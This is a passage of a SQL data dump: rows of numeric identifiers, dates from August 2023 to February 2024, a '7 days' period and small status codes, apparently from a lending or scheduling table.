days',0),(74083,21685,14041,14108,1749,996,'2023-08-30','7 days',0),(74084,21684,14041,14108,1749,996,'2023-08-30','7 days',0),(74085,21683,14041,14108,1749,996,'2023-08-30','7 days',0),(74086,21682,14041,14108,1749,996,'2023-08-30','7 days',0),(74087,21681,14041,14108,1749,996,'2023-08-30','7 days',0),(74088,21680,14041,14108,1749,996,'2023-08-30','7 days',0),(74089,21679,14041,14108,1749,996,'2023-08-30','7 days',0),(74090,21678,14041,14108,1749,996,'2023-08-30','7 days',0),(74091,21723,14032,14099,1749,996,'2023-08-30','7 days',0),(74092,21718,14032,14099,1749,996,'2023-08-30','7 days',0),(74093,21717,14032,14099,1749,996,'2023-08-30','7 days',0),(74094,21716,14032,14099,1749,996,'2023-08-30','7 days',0),(74095,21710,14033,14100,1749,996,'2023-08-30','7 days',0),(74096,21706,14033,14100,1749,996,'2023-08-30','7 days',0),(74097,21705,14033,14100,1749,996,'2023-08-30','7 days',0),(74098,21704,14033,14100,1749,996,'2023-08-30','7 days',0),(74099,21401,14035,14102,1749,996,'2023-08-30','7 days',0),(74100,21400,14035,14102,1749,996,'2023-08-30','7 days',0),(74101,21399,14035,14102,1749,996,'2023-08-30','7 days',1),(74102,20378,14035,14102,1749,996,'2023-08-30','7 days',0),(74103,20205,14035,14102,1749,996,'2023-08-30','7 days',0),(74104,20201,14035,14102,1749,996,'2023-08-30','7 days',0),(74105,20191,14035,14102,1749,996,'2023-08-30','7 days',0),(74106,21447,14034,14101,1749,996,'2023-08-30','7 days',0),(74107,21446,14034,14101,1749,996,'2023-08-30','7 days',0),(74108,21445,14034,14101,1749,996,'2023-08-30','7 days',0),(74109,21444,14034,14101,1749,996,'2023-08-30','7 days',0),(74110,20194,14034,14101,1749,996,'2023-08-30','7 days',0),(74111,16880,14042,14109,1408,86,'2023-08-31','7 days',0),(74112,16788,14042,14109,1408,86,'2023-08-31','7 days',0),(74113,16787,14042,14109,1408,86,'2023-08-31','7 days',0),(74114,16786,14042,14109,1408,86,'2023-08-31','7 days',1),(74115,16785,14042,14109,1408,86,'2023-08-31','7 days',0),(74116,21375,14031,14098,1406,971,'2023-08-31','7 days',0),(74117,16277,14031,14098,1406,971,'2023-08-31','7 days',0),(74118,16276,14031,14098,1406,971,'2023-08-31','7 days',0),(74119,16139,14031,14098,1406,971,'2023-08-31','7 days',1),(74120,12739,14031,14098,1406,971,'2023-08-31','7 days',0),(74121,11698,14031,14098,1406,971,'2023-08-31','7 days',0),(74122,11456,14031,14098,1406,971,'2023-08-31','7 days',0),(74123,11126,14031,14098,1406,971,'2023-08-31','7 days',0),(74124,10978,14031,14098,1406,971,'2023-08-31','7 days',0),(74125,10967,14031,14098,1406,971,'2023-08-31','7 days',0),(74126,10966,14031,14098,1406,971,'2023-08-31','7 days',0),(74127,10965,14031,14098,1406,971,'2023-08-31','7 days',0),(74128,10964,14031,14098,1406,971,'2023-08-31','7 days',0),(74129,10963,14031,14098,1406,971,'2023-08-31','7 days',0),(74130,21726,13597,13746,633,639,'2023-09-01','7 days',1),(74131,14534,14047,14113,190,45,'2023-09-01','7 days',1),(74132,10975,14047,14113,190,45,'2023-09-01','7 days',1),(74133,15628,14042,14109,1408,86,'2023-09-01','7 days',0),(74134,15357,14042,14109,1408,86,'2023-09-01','7 days',0),(74135,15356,14042,14109,1408,86,'2023-09-01','7 days',0),(74136,15353,14042,14109,1408,86,'2023-09-01','7 days',0),(74137,11969,14042,14109,1408,86,'2023-09-01','7 days',0),(74138,9154,14044,14111,1011,91,'2023-09-02','7 days',0),(74139,9135,14044,14111,1011,91,'2023-09-02','7 days',0),(74140,9134,14044,14111,1011,91,'2023-09-02','7 days',0),(74141,9133,14044,14111,1011,91,'2023-09-02','7 days',0),(74142,7287,14044,14111,1011,91,'2023-09-02','7 days',0),(74143,7286,14044,14111,1011,91,'2023-09-02','7 days',0),(74144,12274,14044,14111,1011,91,'2023-09-02','7 days',2),(74145,12273,14044,14111,1011,91,'2023-09-02','7 days',0),(74146,12264,14044,14111,1011,91,'2023-09-02','7 days',0),(74147,12263,14044,14111,1011,91,'2023-09-02','7 days',2),(74148,7020,14044,14111,1011,91,'2023-09-02','7 days',0),(74149,7021,14044,14111,1011,91,'2023-09-02','7 days',0),(74150,16741,14042,14109,1408,86,'2023-09-02','7 days',0),(74151,16740,14042,14109,1408,86,'2023-09-02','7 days',0),(74152,12360,14042,14109,1408,86,'2023-09-02','7 days',0),(74153,12301,14042,14109,1408,86,'2023-09-02','7 days',0),(74154,11970,14042,14109,1408,86,'2023-09-02','7 days',0),(74155,16749,14042,14109,1408,86,'2023-09-05','7 days',1),(74156,16748,14042,14109,1408,86,'2023-09-05','7 days',0),(74157,16747,14042,14109,1408,86,'2023-09-05','7 days',0),(74158,16746,14042,14109,1408,86,'2023-09-05','7 days',2),(74159,16745,14042,14109,1408,86,'2023-09-05','7 days',0),(74160,21374,14058,14115,192,45,'2023-09-08','7 days',1),(74161,11714,14058,14115,192,45,'2023-09-08','7 days',1),(74162,11689,14061,14117,194,45,'2023-09-08','7 days',0),(74163,11162,14061,14117,194,45,'2023-09-08','7 days',1),(74164,9206,14061,14117,194,45,'2023-09-08','7 days',0),(74165,21374,14073,14130,195,45,'2023-09-16','7 days',1),(74166,14534,14073,14130,195,45,'2023-09-16','7 days',1),(74167,10975,14073,14130,195,45,'2023-09-16','7 days',1),(74168,5467,14083,14141,194,45,'2023-09-23','7 days',1),(74169,1989,14083,14141,194,45,'2023-09-23','7 days',0),(74170,21408,14084,14141,194,45,'2023-09-23','7 days',0),(74171,21374,14084,14141,194,45,'2023-09-23','7 days',1),(74172,21727,13834,7462,1406,971,'2023-10-09','7 days',1),(74173,21677,14053,13954,194,45,'2023-10-09','7 days',1),(74174,21728,14053,13954,194,45,'2023-10-11','7 days',1),(74175,21564,14053,13954,194,45,'2023-10-11','7 days',0),(74176,21563,14053,13954,194,45,'2023-10-11','7 days',0),(74177,21562,14053,13954,194,45,'2023-10-11','7 days',0),(74178,21561,14053,13954,194,45,'2023-10-11','7 days',0),(74179,21560,14053,13954,194,45,'2023-10-11','7 days',0),(74180,21559,14053,13954,194,45,'2023-10-11','7 days',0),(74181,21558,14053,13954,194,45,'2023-10-11','7 days',0),(74182,21557,14053,13954,194,45,'2023-10-11','7 days',0),(74183,21556,14053,13954,194,45,'2023-10-11','7 days',0),(74184,21728,14056,14022,193,45,'2023-10-11','7 days',1),(74185,20438,13828,13938,1670,277,'2023-10-12','7 days',0),(74186,20437,13828,13938,1670,277,'2023-10-12','7 days',0),(74187,20436,13828,13938,1670,277,'2023-10-12','7 days',0),(74188,20435,13828,13938,1670,277,'2023-10-12','7 days',0),(74189,20434,13828,13938,1670,277,'2023-10-12','7 days',0),(74190,20433,13828,13938,1670,277,'2023-10-12','7 days',0),(74191,20432,13828,13938,1670,277,'2023-10-12','7 days',0),(74192,20431,13828,13938,1670,277,'2023-10-12','7 days',0),(74193,20430,13828,13938,1670,277,'2023-10-12','7 days',0),(74194,20429,13828,13938,1670,277,'2023-10-12','7 days',0),(74195,20428,13828,13938,1670,277,'2023-10-12','7 days',0),(74196,20427,13828,13938,1670,277,'2023-10-12','7 days',2),(74197,20426,13828,13938,1670,277,'2023-10-12','7 days',0),(74198,20425,13828,13938,1670,277,'2023-10-12','7 days',0),(74199,20424,13828,13938,1670,277,'2023-10-12','7 days',0),(74200,20423,13828,13938,1670,277,'2023-10-12','7 days',0),(74201,20422,13828,13938,1670,277,'2023-10-12','7 days',1),(74202,20421,13828,13938,1670,277,'2023-10-12','7 days',0),(74203,20420,13828,13938,1670,277,'2023-10-12','7 days',0),(74204,20419,13828,13938,1670,277,'2023-10-12','7 days',0),(74205,14534,14101,12056,194,45,'2023-10-13','7 days',1),(74206,11714,14101,12056,194,45,'2023-10-13','7 days',1),(74207,10976,14101,12056,194,45,'2023-10-13','7 days',1),(74208,10975,14101,12056,194,45,'2023-10-13','7 days',1),(74209,21374,14104,14156,192,45,'2023-10-13','7 days',0),(74210,10976,14104,14156,192,45,'2023-10-13','7 days',1),(74211,10975,14104,14156,192,45,'2023-10-13','7 days',1),(74212,14534,14105,14156,191,45,'2023-10-13','7 days',1),(74213,11714,14105,14156,191,45,'2023-10-13','7 days',1),(74214,10976,14105,14156,191,45,'2023-10-13','7 days',1),(74215,12562,14093,14148,192,45,'2023-10-13','7 days',1),(74216,11162,14093,14148,192,45,'2023-10-13','7 days',0),(74217,8784,14099,14154,161,73,'2023-10-16','7 days',1),(74218,8783,14099,14154,161,73,'2023-10-16','7 days',0),(74219,656,14099,14154,161,73,'2023-10-16','7 days',0),(74220,653,14099,14154,161,73,'2023-10-16','7 days',0),(74221,11715,14089,4576,194,45,'2023-10-18','7 days',0),(74222,11714,14089,4576,194,45,'2023-10-18','7 days',1),(74223,10975,14089,4576,194,45,'2023-10-18','7 days',1),(74224,21395,14102,14155,1789,277,'2023-10-19','7 days',1),(74225,20438,14102,14155,1789,277,'2023-10-19','7 days',0),(74226,20437,14102,14155,1789,277,'2023-10-19','7 days',0),(74227,20436,14102,14155,1789,277,'2023-10-19','7 days',0),(74228,20435,14102,14155,1789,277,'2023-10-19','7 days',0),(74229,20434,14102,14155,1789,277,'2023-10-19','7 days',0),(74230,20433,14102,14155,1789,277,'2023-10-19','7 days',0),(74231,20432,14102,14155,1789,277,'2023-10-19','7 days',0),(74232,20431,14102,14155,1789,277,'2023-10-19','7 days',0),(74233,20430,14102,14155,1789,277,'2023-10-19','7 days',0),(74234,20429,14102,14155,1789,277,'2023-10-19','7 days',0),(74235,20428,14102,14155,1789,277,'2023-10-19','7 days',0),(74236,20427,14102,14155,1789,277,'2023-10-19','7 days',0),(74237,20426,14102,14155,1789,277,'2023-10-19','7 days',0),(74238,20425,14102,14155,1789,277,'2023-10-19','7 days',0),(74239,20424,14102,14155,1789,277,'2023-10-19','7 days',0),(74240,20423,14102,14155,1789,277,'2023-10-19','7 days',2),(74241,20422,14102,14155,1789,277,'2023-10-19','7 days',1),(74242,20421,14102,14155,1789,277,'2023-10-19','7 days',0),(74243,20420,14102,14155,1789,277,'2023-10-19','7 days',0),(74244,20419,14102,14155,1789,277,'2023-10-19','7 days',0),(74245,17682,14103,14155,1789,277,'2023-10-19','7 days',0),(74246,17681,14103,14155,1789,277,'2023-10-19','7 days',0),(74247,15861,14103,14155,1789,277,'2023-10-19','7 days',0),(74248,15860,14103,14155,1789,277,'2023-10-19','7 days',0),(74249,15859,14103,14155,1789,277,'2023-10-19','7 days',0),(74250,15858,14103,14155,1789,277,'2023-10-19','7 days',0),(74251,15857,14103,14155,1789,277,'2023-10-19','7 days',0),(74252,15856,14103,14155,1789,277,'2023-10-19','7 days',0),(74253,15855,14103,14155,1789,277,'2023-10-19','7 days',0),(74254,15854,14103,14155,1789,277,'2023-10-19','7 days',0),(74255,15746,14103,14155,1789,277,'2023-10-19','7 days',0),(74256,13354,14103,14155,1789,277,'2023-10-19','7 days',0),(74257,12971,14103,14155,1789,277,'2023-10-19','7 days',0),(74258,12027,14103,14155,1789,277,'2023-10-19','7 days',2),(74259,12026,14103,14155,1789,277,'2023-10-19','7 days',0),(74260,12025,14103,14155,1789,277,'2023-10-19','7 days',0),(74261,12024,14103,14155,1789,277,'2023-10-19','7 days',0),(74262,12023,14103,14155,1789,277,'2023-10-19','7 days',0),(74263,12022,14103,14155,1789,277,'2023-10-19','7 days',2),(74264,12021,14103,14155,1789,277,'2023-10-19','7 days',0),(74265,12020,14103,14155,1789,277,'2023-10-19','7 days',0),(74266,12019,14103,14155,1789,277,'2023-10-19','7 days',2),(74267,12018,14103,14155,1789,277,'2023-10-19','7 days',0),(74268,12017,14103,14155,1789,277,'2023-10-19','7 days',0),(74269,11844,14103,14155,1789,277,'2023-10-19','7 days',0),(74270,11659,14103,14155,1789,277,'2023-10-19','7 days',0),(74271,11450,14103,14155,1789,277,'2023-10-19','7 days',0),(74272,11449,14103,14155,1789,277,'2023-10-19','7 days',0),(74273,11448,14103,14155,1789,277,'2023-10-19','7 days',0),(74274,11447,14103,14155,1789,277,'2023-10-19','7 days',0),(74275,11439,14103,14155,1789,277,'2023-10-19','7 days',0),(74276,9911,14103,14155,1789,277,'2023-10-19','7 days',0),(74277,9910,14103,14155,1789,277,'2023-10-19','7 days',0),(74278,9909,14103,14155,1789,277,'2023-10-19','7 days',1),(74279,9908,14103,14155,1789,277,'2023-10-19','7 days',0),(74280,9907,14103,14155,1789,277,'2023-10-19','7 days',0),(74281,9906,14103,14155,1789,277,'2023-10-19','7 days',0),(74282,9905,14103,14155,1789,277,'2023-10-19','7 days',2),(74283,9904,14103,14155,1789,277,'2023-10-19','7 days',0),(74284,9903,14103,14155,1789,277,'2023-10-19','7 days',0),(74285,9902,14103,14155,1789,277,'2023-10-19','7 days',0),(74286,9901,14103,14155,1789,277,'2023-10-19','7 days',0),(74287,9900,14103,14155,1789,277,'2023-10-19','7 days',0),(74288,9899,14103,14155,1789,277,'2023-10-19','7 days',0),(74289,9898,14103,14155,1789,277,'2023-10-19','7 days',0),(74290,9897,14103,14155,1789,277,'2023-10-19','7 days',0),(74291,8590,14103,14155,1789,277,'2023-10-19','7 days',0),(74292,21374,14109,14160,194,45,'2023-10-21','7 days',0),(74293,11715,14109,14160,194,45,'2023-10-21','7 days',0),(74294,10975,14109,14160,194,45,'2023-10-21','7 days',1),(74295,21374,14111,14160,194,45,'2023-10-21','7 days',0),(74296,14534,14111,14160,194,45,'2023-10-21','7 days',1),(74297,1989,14111,14160,194,45,'2023-10-21','7 days',0),(74298,21729,13777,13898,358,251,'2023-10-30','7 days',1),(74299,21676,13777,13898,358,251,'2023-10-30','7 days',1),(74300,11714,14085,14142,194,45,'2023-10-31','7 days',1),(74301,10976,14085,14142,194,45,'2023-10-31','7 days',1),(74302,21394,14157,14206,194,45,'2023-11-02','7 days',0),(74303,21392,14157,14206,194,45,'2023-11-02','7 days',1),(74304,21391,14157,14206,194,45,'2023-11-02','7 days',1),(74305,21390,14157,14206,194,45,'2023-11-02','7 days',0),(74306,11714,14248,14306,192,45,'2023-11-07','7 days',1),(74307,10976,14248,14306,192,45,'2023-11-07','7 days',0),(74308,5467,14248,14306,192,45,'2023-11-07','7 days',1),(74309,11714,14096,14151,192,45,'2023-11-07','7 days',1),(74310,10976,14096,14151,192,45,'2023-11-07','7 days',0),(74311,10975,14096,14151,192,45,'2023-11-07','7 days',1),(74312,16880,14284,14340,1408,86,'2023-11-10','7 days',0),(74313,16788,14284,14340,1408,86,'2023-11-10','7 days',0),(74314,16787,14284,14340,1408,86,'2023-11-10','7 days',2),(74315,16786,14284,14340,1408,86,'2023-11-10','7 days',1),(74316,16785,14284,14340,1408,86,'2023-11-10','7 days',0),(74317,21534,14284,14340,1408,86,'2023-11-13','7 days',0),(74318,21528,14284,14340,1408,86,'2023-11-13','7 days',1),(74319,21364,14284,14340,1408,86,'2023-11-13','7 days',0),(74320,21363,14284,14340,1408,86,'2023-11-13','7 days',2),(74321,21362,14284,14340,1408,86,'2023-11-13','7 days',0),(74322,21725,14251,14309,1749,996,'2023-11-13','7 days',0),(74323,21724,14251,14309,1749,996,'2023-11-13','7 days',0),(74324,21723,14251,14309,1749,996,'2023-11-13','7 days',0),(74325,21722,14251,14309,1749,996,'2023-11-13','7 days',0),(74326,21721,14251,14309,1749,996,'2023-11-13','7 days',0),(74327,21720,14251,14309,1749,996,'2023-11-13','7 days',0),(74328,21719,14251,14309,1749,996,'2023-11-13','7 days',0),(74329,21718,14251,14309,1749,996,'2023-11-13','7 days',0),(74330,21717,14251,14309,1749,996,'2023-11-13','7 days',2),(74331,21716,14251,14309,1749,996,'2023-11-13','7 days',0),(74332,21715,14255,14313,1749,996,'2023-11-13','7 days',0),(74333,21714,14255,14313,1749,996,'2023-11-13','7 days',0),(74334,21713,14255,14313,1749,996,'2023-11-13','7 days',0),(74335,21712,14255,14313,1749,996,'2023-11-13','7 days',0),(74336,21711,14255,14313,1749,996,'2023-11-13','7 days',0),(74337,20195,14255,14313,1749,996,'2023-11-13','7 days',0),(74338,20194,14255,14313,1749,996,'2023-11-13','7 days',0),(74339,20193,14255,14313,1749,996,'2023-11-13','7 days',0),(74340,20192,14255,14313,1749,996,'2023-11-13','7 days',0),(74341,20191,14255,14313,1749,996,'2023-11-13','7 days',0),(74342,21404,14257,14315,1749,996,'2023-11-13','7 days',0),(74343,21403,14257,14315,1749,996,'2023-11-13','7 days',0),(74344,21402,14257,14315,1749,996,'2023-11-13','7 days',0),(74345,21401,14257,14315,1749,996,'2023-11-13','7 days',1),(74346,21400,14257,14315,1749,996,'2023-11-13','7 days',0),(74347,21399,14257,14315,1749,996,'2023-11-13','7 days',0),(74348,20378,14257,14315,1749,996,'2023-11-13','7 days',0),(74349,20205,14257,14315,1749,996,'2023-11-13','7 days',0),(74350,20201,14257,14315,1749,996,'2023-11-13','7 days',1),(74351,20199,14257,14315,1749,996,'2023-11-13','7 days',0),(74352,21437,14039,14106,1749,996,'2023-11-13','7 days',0),(74353,21436,14039,14106,1749,996,'2023-11-13','7 days',0),(74354,21435,14039,14106,1749,996,'2023-11-13','7 days',0),(74355,21434,14039,14106,1749,996,'2023-11-13','7 days',2),(74356,21433,14039,14106,1749,996,'2023-11-13','7 days',0),(74357,21700,14034,14101,1749,996,'2023-11-13','7 days',0),(74358,21699,14034,14101,1749,996,'2023-11-13','7 days',0),(74359,21698,14034,14101,1749,996,'2023-11-13','7 days',0),(74360,21697,14034,14101,1749,996,'2023-11-13','7 days',0),(74361,21696,14034,14101,1749,996,'2023-11-13','7 days',0),(74362,21695,14034,14101,1749,996,'2023-11-13','7 days',0),(74363,21694,14034,14101,1749,996,'2023-11-13','7 days',0),(74364,21686,14036,14103,1749,996,'2023-11-13','7 days',0),(74365,21685,14036,14103,1749,996,'2023-11-13','7 days',0),(74366,21684,14036,14103,1749,996,'2023-11-13','7 days',0),(74367,21683,14036,14103,1749,996,'2023-11-13','7 days',0),(74368,21682,14036,14103,1749,996,'2023-11-13','7 days',0),(74369,21681,14036,14103,1749,996,'2023-11-13','7 days',0),(74370,21680,14036,14103,1749,996,'2023-11-13','7 days',0),(74371,21713,14038,14105,1749,996,'2023-11-13','7 days',0),(74372,21712,14038,14105,1749,996,'2023-11-13','7 days',0),(74373,21711,14038,14105,1749,996,'2023-11-13','7 days',0),(74374,21710,14038,14105,1749,996,'2023-11-13','7 days',0),(74375,21406,14038,14105,1749,996,'2023-11-13','7 days',0),(74376,21456,14037,14104,1749,996,'2023-11-13','7 days',0),(74377,21455,14037,14104,1749,996,'2023-11-13','7 days',0),(74378,21454,14037,14104,1749,996,'2023-11-13','7 days',0),(74379,21453,14037,14104,1749,996,'2023-11-13','7 days',0),(74380,21452,14037,14104,1749,996,'2023-11-13','7 days',0),(74381,21451,14037,14104,1749,996,'2023-11-13','7 days',0),(74382,21450,14037,14104,1749,996,'2023-11-13','7 days',2),(74383,21449,14037,14104,1749,996,'2023-11-13','7 days',0),(74384,21448,14037,14104,1749,996,'2023-11-13','7 days',0),(74385,21447,14037,14104,1749,996,'2023-11-13','7 days',2),(74386,21437,14040,14107,1749,996,'2023-11-13','7 days',0),(74387,21436,14040,14107,1749,996,'2023-11-13','7 days',0),(74388,21435,14040,14107,1749,996,'2023-11-13','7 days',0),(74389,21434,14040,14107,1749,996,'2023-11-13','7 days',2),(74390,21433,14040,14107,1749,996,'2023-11-13','7 days',0),(74391,21432,14040,14107,1749,996,'2023-11-13','7 days',0),(74392,21431,14040,14107,1749,996,'2023-11-13','7 days',0),(74393,21430,14040,14107,1749,996,'2023-11-13','7 days',0),(74394,20770,14284,14340,1408,86,'2023-11-14','7 days',0),(74395,20769,14284,14340,1408,86,'2023-11-14','7 days',0),(74396,20768,14284,14340,1408,86,'2023-11-14','7 days',0),(74397,20767,14284,14340,1408,86,'2023-11-14','7 days',0),(74398,20766,14284,14340,1408,86,'2023-11-14','7 days',0),(74399,17412,13960,14039,1452,91,'2023-11-14','7 days',1),(74400,7022,13960,14039,1452,91,'2023-11-14','7 days',0),(74401,14584,14284,14340,1408,86,'2023-11-14','7 days',0),(74402,14583,14284,14340,1408,86,'2023-11-14','7 days',0),(74403,14582,14284,14340,1408,86,'2023-11-14','7 days',0),(74404,14581,14284,14340,1408,86,'2023-11-14','7 days',0),(74405,13105,14284,14340,1408,86,'2023-11-14','7 days',0),(74406,16784,14284,14340,1408,86,'2023-11-15','7 days',0),(74407,13013,14284,14340,1408,86,'2023-11-15','7 days',0),(74408,13012,14284,14340,1408,86,'2023-11-15','7 days',0),(74409,13011,14284,14340,1408,86,'2023-11-15','7 days',0),(74410,13010,14284,14340,1408,86,'2023-11-15','7 days',0),(74411,21731,13960,14039,1452,91,'2023-11-15','7 days',0),(74412,17406,14059,13084,1783,975,'2023-11-16','7 days',1),(74413,17406,14081,14138,1783,975,'2023-11-16','7 days',1),(74414,14534,14296,14352,194,45,'2023-11-21','7 days',1),(74415,1989,14296,14352,194,45,'2023-11-21','7 days',0),(74416,11845,14307,14151,194,45,'2023-11-21','7 days',0),(74417,11577,14307,14151,194,45,'2023-11-21','7 days',1),(74418,11350,14307,14151,194,45,'2023-11-21','7 days',1),(74419,16880,14309,14365,1408,86,'2023-11-24','7 days',0),(74420,16788,14309,14365,1408,86,'2023-11-24','7 days',0),(74421,16787,14309,14365,1408,86,'2023-11-24','7 days',0),(74422,16786,14309,14365,1408,86,'2023-11-24','7 days',1),(74423,16785,14309,14365,1408,86,'2023-11-24','7 days',0),(74424,21534,14309,14365,1408,86,'2023-11-25','7 days',0),(74425,21355,14309,14365,1408,86,'2023-11-25','7 days',0),(74426,19780,14309,14365,1408,86,'2023-11-25','7 days',0),(74427,19562,14309,14365,1408,86,'2023-11-25','7 days',0),(74428,14781,14309,14365,1408,86,'2023-11-25','7 days',0),(74429,21360,14309,14365,1408,86,'2023-11-27','7 days',0),(74430,21359,14309,14365,1408,86,'2023-11-27','7 days',0),(74431,21357,14309,14365,1408,86,'2023-11-27','7 days',0),(74432,21353,14309,14365,1408,86,'2023-11-27','7 days',0),(74433,19779,14309,14365,1408,86,'2023-11-27','7 days',0),(74434,21358,14334,14390,1408,86,'2023-12-01','7 days',2),(74435,21357,14334,14390,1408,86,'2023-12-01','7 days',0),(74436,21353,14334,14390,1408,86,'2023-12-01','7 days',0),(74437,10807,14334,14390,1408,86,'2023-12-01','7 days',2),(74438,10806,14334,14390,1408,86,'2023-12-01','7 days',1),(74439,21376,14334,14390,1408,86,'2023-12-02','7 days',0),(74440,20919,14334,14390,1408,86,'2023-12-02','7 days',0),(74441,20918,14334,14390,1408,86,'2023-12-02','7 days',0),(74442,20917,14334,14390,1408,86,'2023-12-02','7 days',0),(74443,20916,14334,14390,1408,86,'2023-12-02','7 days',0),(74444,9111,14022,14092,358,251,'2023-12-04','7 days',1),(74445,9110,14022,14092,358,251,'2023-12-04','7 days',0),(74446,20770,14334,14390,1408,86,'2023-12-05','7 days',0),(74447,20769,14334,14390,1408,86,'2023-12-05','7 days',0),(74448,20768,14334,14390,1408,86,'2023-12-05','7 days',0),(74449,20767,14334,14390,1408,86,'2023-12-05','7 days',0),(74450,20766,14334,14390,1408,86,'2023-12-05','7 days',0),(74451,19260,14334,14390,1408,86,'2023-12-06','7 days',0),(74452,19259,14334,14390,1408,86,'2023-12-06','7 days',0),(74453,19258,14334,14390,1408,86,'2023-12-06','7 days',0),(74454,19257,14334,14390,1408,86,'2023-12-06','7 days',0),(74455,19256,14334,14390,1408,86,'2023-12-06','7 days',0),(74456,21732,12224,12492,1654,971,'2023-12-07','7 days',1),(74457,21733,14045,13878,634,639,'2023-12-07','7 days',1),(74458,21733,14049,13878,634,639,'2023-12-07','7 days',1),(74459,21733,14051,13934,1708,639,'2023-12-07','7 days',1),(74460,21733,14050,13935,634,639,'2023-12-07','7 days',1),(74461,21734,12739,9267,195,45,'2023-12-11','7 days',1),(74462,21734,12742,9267,192,45,'2023-12-11','7 days',1),(74463,21734,12758,13003,193,45,'2023-12-11','7 days',1),(74464,21734,13184,13389,192,45,'2023-12-11','7 days',1),(74465,21733,14046,13690,633,639,'2023-12-11','7 days',1),(74466,21666,14259,11659,1786,959,'2023-12-23','7 days',2),(74467,14685,14382,3844,194,45,'2024-01-03','7 days',1),(74468,13913,14382,3844,194,45,'2024-01-03','7 days',0),(74469,14534,14385,14435,194,45,'2024-01-03','7 days',1),(74470,12532,14385,14435,194,45,'2024-01-03','7 days',1),(74471,10976,14385,14435,194,45,'2024-01-03','7 days',0),(74472,12562,14359,14417,190,45,'2024-01-03','7 days',0),(74473,11689,14359,14417,190,45,'2024-01-03','7 days',0),(74474,11687,14359,14417,190,45,'2024-01-03','7 days',1),(74475,11689,14386,14436,194,45,'2024-01-03','7 days',0),(74476,11162,14386,14436,194,45,'2024-01-03','7 days',0),(74477,9206,14386,14436,194,45,'2024-01-03','7 days',0),(74478,12562,14399,14448,194,45,'2024-01-08','7 days',2),(74479,11687,14399,14448,194,45,'2024-01-08','7 days',0),(74480,11163,14399,14448,194,45,'2024-01-08','7 days',0),(74481,21393,14401,14450,191,45,'2024-01-08','7 days',0),(74482,21392,14401,14450,191,45,'2024-01-08','7 days',1),(74483,21391,14401,14450,191,45,'2024-01-08','7 days',0),(74484,16880,14464,14512,1408,86,'2024-01-11','7 days',0),(74485,16788,14464,14512,1408,86,'2024-01-11','7 days',0),(74486,16787,14464,14512,1408,86,'2024-01-11','7 days',0),(74487,16786,14464,14512,1408,86,'2024-01-11','7 days',1),(74488,16785,14464,14512,1408,86,'2024-01-11','7 days',0),(74489,21534,14464,14512,1408,86,'2024-01-12','7 days',0),(74490,21528,14464,14512,1408,86,'2024-01-12','7 days',1),(74491,21364,14464,14512,1408,86,'2024-01-12','7 days',0),(74492,21363,14464,14512,1408,86,'2024-01-12','7 days',0),(74493,21362,14464,14512,1408,86,'2024-01-12','7 days',0),(74494,21404,14414,14462,1749,996,'2024-01-16','7 days',0),(74495,21403,14414,14462,1749,996,'2024-01-16','7 days',0),(74496,21402,14414,14462,1749,996,'2024-01-16','7 days',0),(74497,21401,14414,14462,1749,996,'2024-01-16','7 days',0),(74498,21400,14414,14462,1749,996,'2024-01-16','7 days',0),(74499,21399,14414,14462,1749,996,'2024-01-16','7 days',0),(74500,20378,14414,14462,1749,996,'2024-01-16','7 days',0),(74501,20205,14414,14462,1749,996,'2024-01-16','7 days',0),(74502,20201,14414,14462,1749,996,'2024-01-16','7 days',1),(74503,20199,14414,14462,1749,996,'2024-01-16','7 days',0),(74504,20195,14414,14462,1749,996,'2024-01-16','7 days',0),(74505,20194,14414,14462,1749,996,'2024-01-16','7 days',0),(74506,20193,14414,14462,1749,996,'2024-01-16','7 days',0),(74507,20192,14414,14462,1749,996,'2024-01-16','7 days',0),(74508,20191,14414,14462,1749,996,'2024-01-16','7 days',0),(74509,21428,14431,14481,1749,996,'2024-01-16','7 days',0),(74510,21427,14431,14481,1749,996,'2024-01-16','7 days',0),(74511,21426,14431,14481,1749,996,'2024-01-16','7 days',0),(74512,21425,14431,14481,1749,996,'2024-01-16','7 days',2),(74513,21424,14431,14481,1749,996,'2024-01-16','7 days',2),(74514,21423,14431,14481,1749,996,'2024-01-16','7 days',2),(74515,21422,14431,14481,1749,996,'2024-01-16','7 days',0),(74516,21421,14431,14481,1749,996,'2024-01-16','7 days',2),(74517,21420,14431,14481,1749,996,'2024-01-16','7 days',0),(74518,21708,14431,14481,1749,996,'2024-01-16','7 days',0),(74519,21462,14431,14481,1749,996,'2024-01-16','7 days',0),(74520,21461,14431,14481,1749,996,'2024-01-16','7 days',0),(74521,21460,14431,14481,1749,996,'2024-01-16','7 days',0),(74522,21459,14431,14481,1749,996,'2024-01-16','7 days',0),(74523,21458,14431,14481,1749,996,'2024-01-16','7 days',0),(74524,21457,14431,14481,1749,996,'2024-01-16','7 days',0),(74525,21452,14431,14481,1749,996,'2024-01-16','7 days',0),(74526,21356,14464,14512,1408,86,'2024-01-17','7 days',0),(74527,21355,14464,14512,1408,86,'2024-01-17','7 days',0),(74528,21354,14464,14512,1408,86,'2024-01-17','7 days',0),(74529,21353,14464,14512,1408,86,'2024-01-17','7 days',0),(74530,19781,14464,14512,1408,86,'2024-01-17','7 days',0),(74531,21361,14522,14563,1408,86,'2024-01-24','7 days',0),(74532,21360,14522,14563,1408,86,'2024-01-24','7 days',0),(74533,21359,14522,14563,1408,86,'2024-01-24','7 days',0),(74534,21358,14522,14563,1408,86,'2024-01-24','7 days',0),(74535,21357,14522,14563,1408,86,'2024-01-24','7 days',2),(74536,21355,14522,14563,1408,86,'2024-01-25','7 days',0),(74537,21354,14522,14563,1408,86,'2024-01-25','7 days',0),(74538,21353,14522,14563,1408,86,'2024-01-25','7 days',0),(74539,19782,14522,14563,1408,86,'2024-01-25','7 days',0),(74540,19781,14522,14563,1408,86,'2024-01-25','7 days',0),(74541,13235,14522,14563,1408,86,'2024-01-26','7 days',0),(74542,13093,14522,14563,1408,86,'2024-01-26','7 days',0),(74543,13092,14522,14563,1408,86,'2024-01-26','7 days',0),(74544,9610,14522,14563,1408,86,'2024-01-26','7 days',0),(74545,18932,14522,14563,1408,86,'2024-01-26','7 days',0),(74546,16781,14522,14563,1408,86,'2024-01-26','7 days',0),(74547,21534,14522,14563,1408,86,'2024-01-30','7 days',0),(74548,21528,14522,14563,1408,86,'2024-01-30','7 days',1),(74549,21364,14522,14563,1408,86,'2024-01-30','7 days',0),(74550,21363,14522,14563,1408,86,'2024-01-30','7 days',0),(74551,21362,14522,14563,1408,86,'2024-01-30','7 days',0),(74552,9014,14546,14579,1788,73,'2024-02-02','7 days',1),(74553,9013,14546,14579,1788,73,'2024-02-02','7 